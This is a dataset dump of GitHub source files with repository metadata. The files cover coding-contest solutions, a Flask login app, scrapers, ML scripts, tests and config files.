blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fe1d3e30f4cdfd8651a3f9176b4620a6452e5d01 | 4a9995871447a406a7e6307a030503700cd41226 | /script/testCase/Y3me项目/人力资源/薪资核算/审批流_定调薪.py | 6a0c29d1fa8b09c17d7ae30c81a1f876d8ab676d | [] | no_license | juntaoh1234/12122003 | 96a107ce22d930e8d9517810736d8f6ce92dc7ad | 4bee39286c3708d7a0df3001e0daa9da51478170 | refs/heads/master | 2020-10-01T18:20:01.572599 | 2019-12-12T12:04:08 | 2019-12-12T12:04:08 | 227,596,967 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,960 | py | # -*-CodeIng:utf-8 -*-
# @time :2019/10/31 20:02
# @author:HuangJunTao
# @email:1341890679@qq.com
# @file:审批流_薪资.py
# @SoftWare:PyCharm
from time import sleep
from SRC.common.decorator import codeException_dec
from SRC.unittest.case import TestCase
from SRC.webdriver.switchTo import SwitchTo
from script.common import ... | [
"1341890679@qq.com"
] | 1341890679@qq.com |
17a92b1f3e8481c39a88bfcce5206a41d042f85e | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03003/s061738428.py | e296bd1653a5eb16609ce574bdaa3369516bc4d2 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,199 | py | #ABC130-E Common Subsequence
"""
問題:
整数列のリストが与えられる
空であるものも含めて、sとtの部分列として等しいものの個数を求めよ
解法:
LCSのmaxではなくsumのバージョンでかつ、
数え上げなので重複をなくさなければならない。
具体的には、
dp[i][j]:sをi文字目迄見た時のtをj文字目迄見た時に、
dp0:横方向(j方向)を優先して遷移した後に、縦方向(i方向)への遷移を行った時の合計
dp1:縦方向、横方向への遷移を行った時の合計
として、dp1[-1][-1]が答え。
"""
import sys
readline = sys.stdin.buffer.readline
d... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
d6c44a3ffa12b15844a15eec93e1fb8552b1bdaa | c09decad4cb64b151913c25192eaa13348f63833 | /228_middle_of_linked_list.py | a6d7fca7e7cbd173247de187ff3f6bccce225a7d | [] | no_license | YI-DING/Lintcode | ef890e53282b9668064a7306329ecd0599dd114b | 89a4cf703eb7a79bd62b6cc41f87242489692b88 | refs/heads/master | 2020-06-17T12:57:44.184391 | 2019-07-19T16:31:32 | 2019-07-19T16:31:32 | 195,931,377 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 563 | py | """
Definition of ListNode
class ListNode(object):
def __init__(self, val, next=None):
self.val = val
self.next = next
"""
class Solution:
"""
@param head: the head of linked list.
@return: a middle node of the linked list
"""
def middleNode(self, head):
if... | [
"yiding1@uchicago.edu"
] | yiding1@uchicago.edu |
500fc4e6c97a72dc6703594efe00e2d77f4fdff6 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_201/1935.py | 793ff52e55241fc12bc0b977c6c0e8c244a5f7aa | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,812 | py | from itertools import groupby
import math
"""
I KNOW ITS SLOW BUT I WANTED TO TRY THIS SOLUTION ANYWAY
"""
FREE = False
OCCUPIED = True
def get_stall_value(stalls, stall_index):
left_free_space = right_free_space = 0
tmp_index = stall_index
while True:
tmp_index -= 1
if stalls[tmp_in... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
aa358d4290d3d085e65216cf41db3ad6bfd413da | 3888104cebd79de74f33dda628505b491e32be09 | /lcs4.py | f5845eba44ced2722b53996fef018e3d81623f78 | [] | no_license | babiswas/Dynamic-Programming | 788f7c35aa927228a728da6025657554487285f5 | 957e150577fd5bbccde33cb393c78dcad07860c1 | refs/heads/master | 2022-12-24T05:24:03.282098 | 2020-09-27T14:55:05 | 2020-09-27T14:55:05 | 299,054,565 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 602 | py | def lcs(str1,str2,m,n,T):
for i in range(m+1):
for j in range(n+1):
if i==0 or j==0:
T[i][j]=0
for i in range(1,m+1):
for j in range(1,n+1):
if str1[i-1]==str2[j-1]:
T[i][j]=1+T[i-1][j-1]
elif str1[i-1]!=str2[j-1]:
T[i][j]=max... | [
"noreply@github.com"
] | babiswas.noreply@github.com |
67f9eb131a4fe209142b2e9cde4c78e0d5898318 | f0cddf6fb1b58f4e80e169eda4897a3ab864cd48 | /login/app.py | aee1a989b6b7a52299d82633094ed169ca07511c | [] | no_license | skrstv123/LEARNING-FLASK | 8a3134bf2198051601a2ff8f92df8cd2a2ed7b90 | 2d3912fd251b763deb5f7f7468d9a5e79bf7ef4f | refs/heads/master | 2022-12-10T19:06:28.623200 | 2020-01-19T20:08:28 | 2020-01-19T20:08:28 | 229,042,034 | 0 | 0 | null | 2022-12-08T03:27:21 | 2019-12-19T11:38:17 | Python | UTF-8 | Python | false | false | 2,279 | py | from myproject import app,db
from flask import render_template, redirect, request, url_for, flash,abort
from flask_login import login_user,login_required,logout_user
from myproject.models import User
from myproject.forms import LoginForm, RegistrationForm
from werkzeug.security import generate_password_hash, check_pass... | [
"skrstv123@gmail.com"
] | skrstv123@gmail.com |
0ae899d23ae015fa404ce12fddaeb90360443dcc | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_374/ch26_2020_03_23_11_49_24_338094.py | cc35e8b2f881012697174064d14183bc52630ce9 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 281 | py | val = int(input("Digite o valor da casa "))
sal = int(input("Digite o valor do seu salário"))
ano = int(input("Digite o tempo em anos que pretende pagar "))
calculo = (val/ano)
if calculo <= 0.3*sal:
print("Empréstimo não aprovado")
else:
print("Empréstimo aprovado") | [
"you@example.com"
] | you@example.com |
d194acc581ca1a2dabbfb09e565826189cda4fbc | 1fe8d4133981e53e88abf633046060b56fae883e | /venv/lib/python3.8/site-packages/tensorflow 2/python/ops/array_ops.py | 752790e486e2c8177d53c2e0e801774b2ff01fb4 | [] | no_license | Akira331/flask-cifar10 | 6c49db8485038731ce67d23f0972b9574746c7a7 | 283e7a2867c77d4b6aba7aea9013bf241d35d76c | refs/heads/master | 2023-06-14T16:35:06.384755 | 2021-07-05T14:09:15 | 2021-07-05T14:09:15 | 382,864,970 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 131 | py | version https://git-lfs.github.com/spec/v1
oid sha256:c3fab6161a6ca581784be67954e7b9c2792e559bfc3a79286f79410909df8ec9
size 225087
| [
"business030301@gmail.com"
] | business030301@gmail.com |
0eec7a8cf3a3e4a155feae3b08a5c930173d74bf | 9452f681ea486fc53ad88d05392aed5fc450805c | /data_language_all/python/python_420.txt | f69fb14b5ec0f087ef9410f16cbb9d2d0193f595 | [] | no_license | CoryCollins/src-class | 11a6df24f4bd150f6db96ad848d7bfcac152a695 | f08a2dd917f740e05864f51ff4b994c368377f97 | refs/heads/master | 2023-08-17T11:53:28.754781 | 2021-09-27T21:13:23 | 2021-09-27T21:13:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,245 | txt | #!/usr/bin/env python
__all__ = ['baomihua_download', 'baomihua_download_by_id']
from ..common import *
import urllib
def baomihua_download_by_id(id, title=None, output_dir='.', merge=True, info_only=False, **kwargs):
html = get_html('http://play.baomihua.com/getvideourl.aspx?flvid=%s&devicetype=phone_... | [
"znsoft@163.com"
] | znsoft@163.com |
2db97a28852186e87dec880bb875aaf5529e8812 | 500bca3e22bd0c30c79b74918e9847742b3c428e | /sdk/python/jobs/pipelines/1j_pipeline_with_pipeline_component/nyc_taxi_data_regression_with_pipeline_component/train_pipeline/predict_src/predict.py | fde23606901aec040fa25345734e835f96c02c9f | [
"MIT"
] | permissive | Azure/azureml-examples | 2304c862fd2e36e6640ecc4d09f69c5ed93b48ab | e5f7b247d4753f115a8f7da30cbe25294f71f9d7 | refs/heads/main | 2023-08-31T00:10:14.107509 | 2023-08-30T17:29:22 | 2023-08-30T17:29:22 | 289,334,021 | 1,219 | 1,074 | MIT | 2023-09-14T16:00:55 | 2020-08-21T18:04:26 | Jupyter Notebook | UTF-8 | Python | false | false | 2,022 | py | import argparse
import pandas as pd
import os
from pathlib import Path
from sklearn.linear_model import LinearRegression
import mlflow
mlflow.sklearn.autolog()
parser = argparse.ArgumentParser("predict")
parser.add_argument("--model_input", type=str, help="Path of input model")
parser.add_argument("--test_data", typ... | [
"noreply@github.com"
] | Azure.noreply@github.com |
a6b07925ad745b8be7937bfeb0c1c2786ded3dab | e87d793b3a5facc6e54e0263fbd67703e1fbb382 | /duckietown-world-venv/lib/python3.6/site-packages/compmake/utils/system_stats.py | b91659969d09931f398a5f0c7b510618abb69b60 | [] | no_license | llingg/behaviour-benchmarking | a860bbe709309e13f3e1133d916944882199a40f | 85bbf1a9c2c628ba74480fe7abac3804d6afdac4 | refs/heads/v1 | 2022-10-06T08:21:29.068329 | 2020-06-11T07:02:46 | 2020-06-11T07:02:46 | 259,622,704 | 0 | 0 | null | 2020-06-02T17:52:46 | 2020-04-28T11:52:08 | C++ | UTF-8 | Python | false | false | 3,677 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import time
__all__ = [
'AvgSystemStats',
]
try:
import psutil # @UnusedImport
except ImportError:
from compmake import logger
logger.warning('Package "psutil" not found; load balancing '
'and system stats (CPU, MEM) ... | [
"linggl@student.ethz.ch"
] | linggl@student.ethz.ch |
02d1bcf15ae7ebbed8bbbdb8e3525273dfec8001 | 71acb7214efd91c0d327f6d8958e1798eadb4401 | /locations/spiders/mediamarkt_be.py | 237c2ef3f09038fd1a8b6bec4254303932a2be83 | [
"CC0-1.0",
"MIT"
] | permissive | alltheplaces/alltheplaces | 21b9f8b4ace1352e52ae7b8f8825a930d2cb033e | 1bcbb55cfcf06f2c714465570711f6e83f205c22 | refs/heads/master | 2023-08-30T19:45:35.098658 | 2023-08-30T17:51:54 | 2023-08-30T17:51:54 | 61,166,935 | 453 | 176 | NOASSERTION | 2023-09-14T17:16:40 | 2016-06-15T01:09:18 | Python | UTF-8 | Python | false | false | 1,477 | py | import re
from scrapy.linkextractors import LinkExtractor
from scrapy.spiders import CrawlSpider, Rule
from locations.hours import DAYS_FR, OpeningHours
from locations.structured_data_spider import StructuredDataSpider
class MediaMarktBESpider(CrawlSpider, StructuredDataSpider):
name = "media_markt_be"
item... | [
"noreply@github.com"
] | alltheplaces.noreply@github.com |
d2a116fd1e388ccc8ebd0e3a4c78b63d1b0b2041 | cc08f8eb47ef92839ba1cc0d04a7f6be6c06bd45 | /Personal/Cmmercial/products/migrations/0001_initial.py | 3f1b13821e51314afd7b2052f0cec407866a824f | [] | no_license | ProsenjitKumar/PycharmProjects | d90d0e7c2f4adc84e861c12a3fcb9174f15cde17 | 285692394581441ce7b706afa3b7af9e995f1c55 | refs/heads/master | 2022-12-13T01:09:55.408985 | 2019-05-08T02:21:47 | 2019-05-08T02:21:47 | 181,052,978 | 1 | 1 | null | 2022-12-08T02:31:17 | 2019-04-12T17:21:59 | null | UTF-8 | Python | false | false | 1,216 | py | # Generated by Django 2.1.3 on 2018-11-21 08:30
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Product',
fields=[
... | [
"prosenjitearnkuar@gmail.com"
] | prosenjitearnkuar@gmail.com |
e3554e38fb6ff22a2f5045724ea53f7595a4c7e5 | 10ddfb2d43a8ec5d47ce35dc0b8acf4fd58dea94 | /Python/number-of-unequal-triplets-in-array.py | b5c5df654ed10cc8343e709f7badcabd6c662a00 | [
"MIT"
] | permissive | kamyu104/LeetCode-Solutions | f54822059405ef4df737d2e9898b024f051fd525 | 4dc4e6642dc92f1983c13564cc0fd99917cab358 | refs/heads/master | 2023-09-02T13:48:26.830566 | 2023-08-28T10:11:12 | 2023-08-28T10:11:12 | 152,631,182 | 4,549 | 1,651 | MIT | 2023-05-31T06:10:33 | 2018-10-11T17:38:35 | C++ | UTF-8 | Python | false | false | 551 | py | # Time: O(n * k) = O(3 * n)
# Space: O(n + k) = O(n)
import collections
# freq table, dp
class Solution(object):
def unequalTriplets(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
K = 3
cnt = collections.Counter()
dp = [0]*K # dp[i]: number of une... | [
"noreply@github.com"
] | kamyu104.noreply@github.com |
333b9acb1c421772b36728887c628c06910f5ea9 | 47deebe6fefedb01fdce5d4e82f58bb08f8e1e92 | /python core/Lesson_9/list_15.py | 3c9f1848f5a41869c089d25a9f31a5453ed7030e | [] | no_license | developeryuldashev/python-core | 5bb162603bdb5782acf05e3fb25ca5dd6347067a | 08fca77c9cfde69d93a7875b3fb65b98f3dabd78 | refs/heads/main | 2023-08-21T03:33:12.160133 | 2021-10-19T04:56:53 | 2021-10-19T04:56:53 | 393,383,696 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | a=[1,2,3,4,5,6,3,4,5,8,9]
b=[]
c=[]
n=len(a)
i=n
while i>0:
b.append(a[i-1])
c.append(a[i-2])
i-=2
print(b)
print(c) | [
"81365808+developeryuldashev@users.noreply.github.com"
] | 81365808+developeryuldashev@users.noreply.github.com |
300add98b274304dbcde91ccbb0f8fb7c2bda876 | c4c159a21d2f1ea0d7dfaa965aeff01c8ef70dce | /flask/flaskenv/Lib/site-packages/pandas/tests/series/test_internals.py | 0febda9b710f4d9388ea3bf53da20bcf4f5af3c0 | [] | no_license | AhsonAslam/webapi | 54cf7466aac4685da1105f9fb84c686e38f92121 | 1b2bfa4614e7afdc57c9210b0674506ea70b20b5 | refs/heads/master | 2020-07-27T06:05:36.057953 | 2019-09-17T06:35:33 | 2019-09-17T06:35:33 | 208,895,450 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:cef8d1aa7b5483d0f8576d8863c0fa66a3fd81948992238d8d5f1a5531cee05a
size 8984
| [
"github@cuba12345"
] | github@cuba12345 |
14dc45b7b1ffbddfdfb9e556d2237d15b7495403 | 14d940630ab365be939fc08d3d95b0a98789bae7 | /lab32_list_comprehension_parte1.py | ab0e3c4e44cd1d99e38f7d80a38a5e3f85b41e0a | [] | no_license | accolombini/python_completo | 1da6f58f0c57b978d70582d96dc12b80c2d5b8a8 | 935102173a1112273b09734392dca08d76e9c749 | refs/heads/master | 2023-01-09T07:51:15.494101 | 2020-10-11T23:39:08 | 2020-10-11T23:39:08 | 283,790,276 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,343 | py | """
List Comprehension ->> utilizando List Comprehension nós podemos gerar novas listas com dados processados
a partir de outro iterável (uma coleção de dados)
- Sintaxe da List Comprehension
- [dado clausula for dado in itervael]
<$> Para melhor entender o que está acontecendo devemos dividir a expressão... | [
"accolombini@gmail.com"
] | accolombini@gmail.com |
7af3564ec490ee7c916717f5e43254d06bac12c9 | 3c73609eea12d6784ffc0be5acc6994cda19dc57 | /Codeforces Difficulty 500-700/595AVitalyAndNight.py | c02b2a9caee1ba24e4511fe2d5b3542c6977975d | [] | no_license | TanveshT/Competitive-Programming | 0cf7a8ebc20a74cb6fd8505e67fbfec5bac6b8c2 | 47acc0a2af2711c86bb0da06e961677a8ec1e7d3 | refs/heads/master | 2022-12-19T01:44:46.033633 | 2020-09-25T06:57:23 | 2020-09-25T06:57:23 | 258,095,824 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 225 | py | n, m = map(int, input().split())
m2 = 2*m
count = 0
for i in range(n):
floor = list(map(int, input().split()))
for j in range(0,m2,2):
if floor[j] == 1 or floor[j+1] == 1:
count += 1
print(count) | [
"tanveshtakawale26@gmail.com"
] | tanveshtakawale26@gmail.com |
cf11d468c235daf41b6fa67bdd4fd202349ff255 | 579ddcffa5519d0cfde6209d3c030e12b487b05f | /LeetCode_June2020/is_subsequence.py | 28c96b53d3390b07c328f9bf06bdb376456dfb6f | [] | no_license | mrshaikh4u/Problem-solving | 001e00292e531c4205b80785f617c6189ec9f2a8 | 96b257e2053eaaa75a152e92657cbf39f9169b8a | refs/heads/master | 2022-11-13T19:48:43.565431 | 2022-11-03T18:42:49 | 2022-11-03T18:42:49 | 252,262,607 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 607 | py |
class Solution:
def isSubsequence(self, s: str, t: str) -> bool:
if t is None or len(t)==0:
return s is None or len(s)==0
if s is None or len(s)==0:
return True
# s = "abc", t = "ahbgdc"
ptr = 0
for c in s:
found = False
while ... | [
"mohamedrshaikh@gmail.com"
] | mohamedrshaikh@gmail.com |
781fed99b49ba8f6c143ba1f942e9603e3a68d20 | e32a75c44ef9c964bc5f97712c8e0e845ee3f6ca | /lemmatise_question_vocab.py | 74408714d90e2917500ed5edbe53dc9a64b74ca6 | [] | no_license | ankita-kalra/ivqa_belief_set | 29c40ec4076433ac412728aea603e4e69ce530eb | 6ebba50ff001e1af6695bb3f4d2643e7072ee153 | refs/heads/master | 2020-04-05T17:17:00.834303 | 2018-08-27T09:59:16 | 2018-08-27T09:59:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,499 | py | with open('data/vqa_trainval_question_word_counts.txt', 'r') as fs:
lines = fs.readlines()
words = [line.split()[0].strip() for line in lines]
with open('tmp_dump.txt', 'w') as fs:
for word in words:
fs.write('%s\n' % word)
from nltk.corpus import wordnet as wn
import nltk
import numpy as np
def... | [
"liufeng@seu.edu.cn"
] | liufeng@seu.edu.cn |
fad4277ce6037da4dbeb48ec277ee28b3e0372c9 | 9e1df555176bae216828c404ad7290c2eb030cbf | /tests/metrics/test_metric.py | d97cd1a176cf294208e20b3b3e4a764318141b3c | [
"Apache-2.0",
"LicenseRef-scancode-proprietary-license"
] | permissive | shijianjian/pytorch-lightning | e11be4d4926a1a0c8f605e596bec19926d476876 | b6f3cf5e52dddedec6f7b3e85c0702b75907452c | refs/heads/master | 2023-03-02T14:58:54.139540 | 2021-02-10T05:38:23 | 2021-02-10T05:38:23 | 318,134,795 | 1 | 0 | Apache-2.0 | 2020-12-03T09:05:46 | 2020-12-03T09:05:45 | null | UTF-8 | Python | false | false | 3,841 | py | import pickle
from collections import OrderedDict
from distutils.version import LooseVersion
import cloudpickle
import numpy as np
import pytest
import torch
from pytorch_lightning.metrics.metric import Metric
torch.manual_seed(42)
class Dummy(Metric):
name = "Dummy"
def __init__(self):
super().__... | [
"noreply@github.com"
] | shijianjian.noreply@github.com |
4e8c3e29671d3b8ee93186ca9cb39e1dc9041ad6 | 0fbc2dff6c74d79fcdc3170c8bfb2fe8fa955175 | /notebooks/widget_org.py | 624b1b94ee375d5ac5c91a1f23818bb2cee26729 | [
"BSD-3-Clause"
] | permissive | mwcraig/tutorial | abedcaa251d63d7de4a0c17f99a7f7dd7639d086 | e1dfa624b0d043f33b768edeb35629741f4d890f | refs/heads/master | 2022-11-08T15:09:04.056005 | 2019-07-07T22:06:12 | 2019-07-07T23:04:16 | 134,425,268 | 0 | 0 | BSD-3-Clause | 2018-05-22T14:11:30 | 2018-05-22T14:11:30 | null | UTF-8 | Python | false | false | 7,088 | py | import string
import inspect
from collections import defaultdict
import ipywidgets as widgets
def extract_module_name(obj, full=False):
"""
Get the name of a module for an object.
"""
properties = inspect.getmembers(obj)
for name, value in properties:
if name == '__module__':
... | [
"mattwcraig@gmail.com"
] | mattwcraig@gmail.com |
3daeb98cf549c02dfd2bbba036a474e93b402841 | 5a281cb78335e06c631181720546f6876005d4e5 | /sahara-10.0.0/api-ref/source/conf.py | d7580249d82601bc268b6c35106c8df3c1ec2580 | [
"Apache-2.0"
] | permissive | scottwedge/OpenStack-Stein | d25b2a5bb54a714fc23f0ff0c11fb1fdacad85e8 | 7077d1f602031dace92916f14e36b124f474de15 | refs/heads/master | 2021-03-22T16:07:19.561504 | 2020-03-15T01:31:10 | 2020-03-15T01:31:10 | 247,380,811 | 0 | 0 | Apache-2.0 | 2020-03-15T01:24:15 | 2020-03-15T01:24:15 | null | UTF-8 | Python | false | false | 7,091 | py | # -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, softwa... | [
"Wayne Gong@minbgong-winvm.cisco.com"
] | Wayne Gong@minbgong-winvm.cisco.com |
210609fb82f3bd44f14c0dc789314dd099ea2a0f | 08c132bc63ebba2edebde139f7907953ae2fa04d | /Archived_Files/FTDI_Python_Libraries - SPI_MDIO_I2C/etc_i2c_flash.py | 5dc8f62ab699ff7816ef920fa89870c54f41af85 | [] | no_license | hudkmr/Code_Database | 12b60d1b331b91e9dc990d63bd4603bb92d0bfe7 | d80751c13bd30114af70d690ef8fc1a0d6368490 | refs/heads/master | 2021-01-21T12:49:47.564408 | 2015-07-30T02:28:07 | 2015-07-30T02:28:07 | 39,899,454 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | #This Script Reads the Data from I2C Slave device(Flash memory) using FTDI MPSSE Engine
from etc_abb_i2c_lib import BB_I2C
from etc_abb_i2c_lib.etc_header import *
import sys
import time
d=BB_I2C(0)
d.DevConf(BAUD,DO_MASK_VAL,SYNC_MODE)
TXACKBuf=[]
RXACKBuf=[]
d.I2CStart_CMD()
TXACKBuf+=d.SendAddr(0x80,0)
TXACKBuf+=... | [
"hudkmr@gmail.com"
] | hudkmr@gmail.com |
117aa18bc9ed57ce6572e9120224d114fc632a6e | 32e2e9ecd12d4eeaacc64d1a699672633501ea08 | /find_a_midwife/views.py | 142206c710eac207c0818e7371cb179f8e186912 | [] | no_license | BrianC68/wr_maternity | 365098abb13d255348d2d57bf1c543cd698e6ae8 | 5392fdead32c5f79c7be9a4cb0397df26a5de915 | refs/heads/master | 2023-01-24T08:42:06.965179 | 2023-01-20T17:42:44 | 2023-01-20T17:42:44 | 233,097,880 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 667 | py | from django.shortcuts import render
from django.urls import reverse_lazy
from django.views.generic import ListView, DetailView
from .models import Midwife
class MidwifeListView(ListView):
'''Page that displays all midwives.'''
template_name = 'midwife_list_view.html'
model = Midwife
context_object_na... | [
"brianc@wi.rr.com"
] | brianc@wi.rr.com |
a8be8bddddc67ab30f266259012c32c14fe1bede | ce18cf6bdb1a85a65a509597b4c0ec046b855186 | /2021年4月/接雨水.py | e3b2d4f6b80d4cf594dc6bc3a4110f902cfdb9c8 | [] | no_license | elssm/leetcode | e12e39faff1da5afb234be08e7d9db85fbee58f8 | a38103d2d93b34bc8bcf09f87c7ea698f99c4e36 | refs/heads/master | 2021-06-11T06:44:44.993905 | 2021-04-28T06:14:23 | 2021-04-28T06:14:23 | 171,072,054 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,415 | py | class Solution(object):
def trap(self, height):
"""
:type height: List[int]
:rtype: int
"""
if len(height) <= 1:
return 0
#两层循环时间复杂度太大了。不过思路没问题
# ans=0
# start=0
# end=0
# max_h = max(height)
# for i in rang... | [
"noreply@github.com"
] | elssm.noreply@github.com |
69debec428098617652296bd578146c4657179a1 | caf6ae544fce3b332b40a03462c0646a32c913e1 | /master/python/swagger_client/models/deposit_id.py | 9d6a813e681197d9448474fe5c7f2b9e39942158 | [
"Apache-2.0"
] | permissive | coinsecure/plugins | 827eb0ce03a6a23b4819a618ee47600161bec1c7 | ad6f08881020c268b530d5242d9deed8d2ec84de | refs/heads/master | 2020-05-30T07:17:56.255709 | 2016-11-27T22:22:23 | 2016-11-27T22:22:23 | 63,496,663 | 3 | 5 | null | null | null | null | UTF-8 | Python | false | false | 3,799 | py | # coding: utf-8
"""
Coinsecure Api Documentation
To generate an API key, please visit <a href='https://coinsecure.in/api' target='_new' class='homeapi'>https://coinsecure.in/api</a>.<br>Guidelines for use can be accessed at <a href='https://api.coinsecure.in/v1/guidelines'>https://api.coinsecure.in/v1/guideli... | [
"vivek0@users.noreply.github.com"
] | vivek0@users.noreply.github.com |
f038abaec86c975b455f314fe8312b6fb4f3a83f | 37930870719caede967fdf6905c032e22d086e8b | /scripts/imaging/simulators/instruments/vro.py | 0990c9c9733733002ed6eb4a3accc03e6b77e72d | [] | no_license | Cywtim/autolens_workspace | cbede944c0f85ee95cd7362fee957ef77e701280 | da40cafee8dc26e5d8b1041888fb280598e74a5e | refs/heads/master | 2023-04-05T14:22:06.091992 | 2021-04-15T20:29:28 | 2021-04-15T20:29:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,170 | py | """
Simulator: VRO
==============
This script simulates `Imaging` of a strong lens where:
- The resolution, PSF and S/N are representative of the Vera Rubin Observatory imaging.
"""
# %matplotlib inline
# from pyprojroot import here
# workspace_path = str(here())
# %cd $workspace_path
# print(f"Working D... | [
"james.w.nightingale@durham.ac.uk"
] | james.w.nightingale@durham.ac.uk |
f5316c97b47c37037e7f7584f2ad11d62837711b | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Games/Minecraft/pip/tests/test_help.py | b5a5f8aaba7742dfff1f6d49f2ba7a46eab76da7 | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 129 | py | version https://git-lfs.github.com/spec/v1
oid sha256:8a2ef4075a758034598401082ccea67056274e743bd8d3b71c91deb8be2b8201
size 1835
| [
"nateweiler84@gmail.com"
] | nateweiler84@gmail.com |
a92d28836676c2ebdd4e48ad6ba6b45f2ddd5ddd | fd0eecb6d4f12eb326030c2f64892c6845668c4f | /docs/files/ros-service-call-logger.py | 69929603c94693f175fcbc0234197cc7350d0cb4 | [
"MIT"
] | permissive | gramaziokohler/roslibpy | 599eff049caa72ca0f23dbc8e4058e051e66556b | 55e8f396f9e7b5d5669f6a31c2ed8d9bc33c3400 | refs/heads/main | 2023-08-31T22:57:32.502924 | 2023-03-29T14:52:31 | 2023-03-29T14:52:31 | 119,359,521 | 245 | 58 | MIT | 2023-08-29T14:22:35 | 2018-01-29T09:13:24 | Python | UTF-8 | Python | false | false | 333 | py | import roslibpy
client = roslibpy.Ros(host='localhost', port=9090)
client.run()
service = roslibpy.Service(client, '/rosout/get_loggers', 'roscpp/GetLoggers')
request = roslibpy.ServiceRequest()
print('Calling service...')
result = service.call(request)
print('Service response: {}'.format(result['loggers']))
client... | [
"casas@arch.ethz.ch"
] | casas@arch.ethz.ch |
70b061e799152084ad6f729509a14852526468f9 | 6923f79f1eaaba0ab28b25337ba6cb56be97d32d | /PHY_604_Computational_Methods_in_Physics_and_Astrophysics_II_Zingale/code1/monte_carlo/uniform_random/random_test.py | f5d708344cd250ad2e460372c9cb612844584e80 | [] | no_license | burakbayramli/books | 9fe7ba0cabf06e113eb125d62fe16d4946f4a4f0 | 5e9a0e03aa7ddf5e5ddf89943ccc68d94b539e95 | refs/heads/master | 2023-08-17T05:31:08.885134 | 2023-08-14T10:05:37 | 2023-08-14T10:05:37 | 72,460,321 | 223 | 174 | null | 2022-10-24T12:15:06 | 2016-10-31T17:24:00 | Jupyter Notebook | UTF-8 | Python | false | false | 919 | py | # Do a simple random number generator based on the linear congruential
# generator
import matplotlib.pyplot as plt
class Rand(object):
def __init__(self, seed):
self.seed = seed
self.a = 16807 # 7**5
self.c = 0
self.M = 2147483647 # 2**31 -1
def ran(self):
xn... | [
"me@yomama.com"
] | me@yomama.com |
